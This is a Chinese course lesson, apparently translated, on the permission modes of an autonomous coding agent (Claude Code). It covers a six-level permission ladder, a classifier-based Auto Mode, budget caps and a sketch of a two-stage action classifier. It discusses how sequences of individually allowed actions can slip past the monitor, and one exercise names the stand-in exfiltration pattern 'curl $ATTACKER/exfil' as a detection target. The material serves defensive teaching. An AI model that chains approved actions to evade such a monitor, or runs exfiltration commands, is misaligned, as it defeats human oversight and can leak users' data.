自主 Agent 的权限模式 本节摘要:一个在你机器上跑的自主编码 Agent 是一个独立的安全品类——攻击面是 Agent 能触及的一切(文件系统、网络、凭据、剪贴板、任何打开的终端与浏览器标签)。Bruce Schneier 等人公开指出:计算机使用 Agent 不是聊天机器人的「功能更新」,而是一种带全新风险画像的新工具。Anthropic 的回答不是「自主/不自主」一个开关,而是一座权限阶梯:从「每个动作都问」到「全部批准」共六级。Claude Code 的 每动都问, (UI 标「Manual」)只对风险动作问, 自动批准文件写但仍确认 shell 执行, 批准一切。
本节摘要:一个在你机器上跑的自主编码 Agent 是一个独立的安全品类——攻击面是 Agent 能触及的一切(文件系统、网络、凭据、剪贴板、任何打开的终端与浏览器标签)。Bruce Schneier 等人公开指出:计算机使用 Agent 不是聊天机器人的「功能更新」,而是一种带全新风险画像的新工具。Anthropic 的回答不是「自主/不自主」一个开关,而是一座权限阶梯:从「每个动作都问」到「全部批准」共六级。Claude Code 的
plan每动都问,default(UI 标「Manual」)只对风险动作问,acceptEdits自动批准文件写但仍确认 shell 执行,bypassPermissions批准一切。Auto Mode(auto权限模式,2026 年 3 月)用一个独立分类器模型把逐动作审批移出用户关键路径——它在每个动作执行前审、拦下任何超出请求范围的升级。预算由max_turns和max_budget_usd强制。本节讲透六级模式、Auto Mode 抓什么与漏什么、各级别适合什么样的工作流。
对应原课程:Phase 15 · Lesson 10 ·
claude-code-permission-modes(原英文phases/15-autonomous-systems/10-claude-code-permission-modes/docs/en.md)。以 Claude Code 为工作示例。
阅读完本节,你应当能够:
max_turns、max_budget_usd、每工具动作数上限)给出合理数值并说理。工程问题:这个系统抓得住什么、漏掉什么、给定任务到底该用哪一档?
⚠️ 核心张力:Auto Mode 把逐动作审批移出用户关键路径,但分类器审的是动作,不重新推导用户意图——每个动作看着安全,组合起来的轨迹可能有害。
原课程 code/main.py 把动作审查分类器模拟成一个两阶段流水线(教学简化;真实的 auto 由独立分类器模型支撑,不是有文档的两阶段契约):第 1 阶段是对提议动作的便宜关键词规则;第 2 阶段是更慢的多规则审查器。驱动器喂入一段短合成轨迹(安全动作、提示注入企图、重复循环),展示分类器在哪抓住、在哪漏。
def auto_classify(action, task, session_state): # 第1阶段: 便宜关键词规则 if stage1_obvious_bad(action): return BLOCK("stage1") # 第2阶段: 慢速多规则审查,对照声明任务与会话状态 if stage2_escalates_beyond(action, task, session_state): return BLOCK("stage2") # 拦下超出请求范围的升级 return ALLOW # 否则放行,执行 def run_session(actions, budget): for n, a in enumerate(actions): if n >= budget.max_turns: abort("turns") if cost_so_far >= budget.max_budget_usd: abort("budget") if auto_classify(a, ...) == BLOCK: return ESCALATE_TO_USER execute(a)
| 模式 | 行为 | 何时用 |
|---|---|---|
plan |
Agent 提计划;用户批准整个计划;每个动作执行前都审 | 不熟悉的任务;靠近产线的代码;首次在仓库用该 Agent |
default(UI 标「Manual」) |
Agent 跑动作;对任何「风险」动作(shell exec、破坏性操作、网络调用)提示用户 | 多数交互式编码会话 |
acceptEdits |
文件写自动批准;shell exec 与网络调用仍提示 | 跨多文件的重构轮 |
auto |
独立分类器模型在每个动作执行前审;拦下任何超出请求范围的升级 | 受限工作区里的长程无人值守运行 |
dontAsk |
从不提示;未被权限规则预批的动作一律拒 | 一次性沙箱、CI 作业、研究脚本 |
bypassPermissions |
批准一切 | 文档明说「仅在愿意丢弃的一次性容器内」 |
Auto Mode(2026 年 3 月 24 日发布)是首个把逐动作审批委托给模型的权限模式。结构:
auto 取决于套餐、组织启用、模型、供应商。预算控制与分类器并列:
max_turns——会话总迭代数。max_budget_usd——美元上限,超过即中止会话。WebFetch)。git push 到公开仓库——这是允许动作的序列,问题在组合。Anthropic 把 Auto Mode 作为研究预览发布。文档明确:分类器是一层,不是解;用户应把 Auto Mode 与预算、白名单、隔离工作区、轨迹审计(第 12~16 节)结合。预览定位也反映了已记录的评估-部署鸿沟(第 01 节)——一个通过离线评估的分类器,在用户上下文模糊的真实会话里可能表现不同。
| 工作流 | 推荐模式 | 前置条件 |
|---|---|---|
| 不熟悉任务 | plan |
读计划比回滚一次坏运行便宜 |
| 已知重构 | acceptEdits |
省大量确认点击 |
| 无人值守后台 | auto |
仅在测过爆炸半径的工作区(无凭据、无生产挂载、无未选通的出口) |
| 一次性容器 | dontAsk / bypassPermissions |
当且仅当容器及其凭据可丢弃 |
💡 关键边界:
auto只在「你已测过爆炸半径的工作区」里可接受。分类器不是隔离的替代品——它是一层,沙箱是另一层。
outputs/skill-permission-mode-picker.md 把任务描述匹配到正确的权限模式、预算上限与所需隔离:任务熟悉度、是否靠近产线、是否无人值守、工作区是否测过爆炸半径,四个维度决定模式与配套预算。
code/main.py 把第 1/2 阶段做成可扩展规则集,适合在安全评审里演示「合成轨迹中,哪类动作只被第 2 阶段抓住、哪类两阶段都漏」。
跑 code/main.py:哪种合成动作类型从不被第 1 阶段标、却总被第 2 阶段抓住?哪种两阶段都抓不到?
扩展第 1 阶段规则集抓住一个特定已知坏形状(如 curl $ATTACKER/exfil),在良性动作样本上测假阳性率。
读 Anthropic「How the agent loop works」文档,列出 default 模式下 Agent 默认触碰的每个外部状态。在无人值守跑 auto 前,哪些需要单独门控?
设计一个 24 小时无人值守运行预算:max_turns、max_budget_usd、每工具上限、白名单。为每个数说理。
描述一条轨迹:其中每个动作都被分类器批准,但组合行为是失配的。(第 14 节讲 kill switch 与金丝雀 token 如何应对。)
max_turns、max_budget_usd、每工具动作数上限。下一节,把权限模式推到最危险的表面——浏览器 Agent,那里间接提示注入几乎不可完全修补,看长程网页任务如何被治理。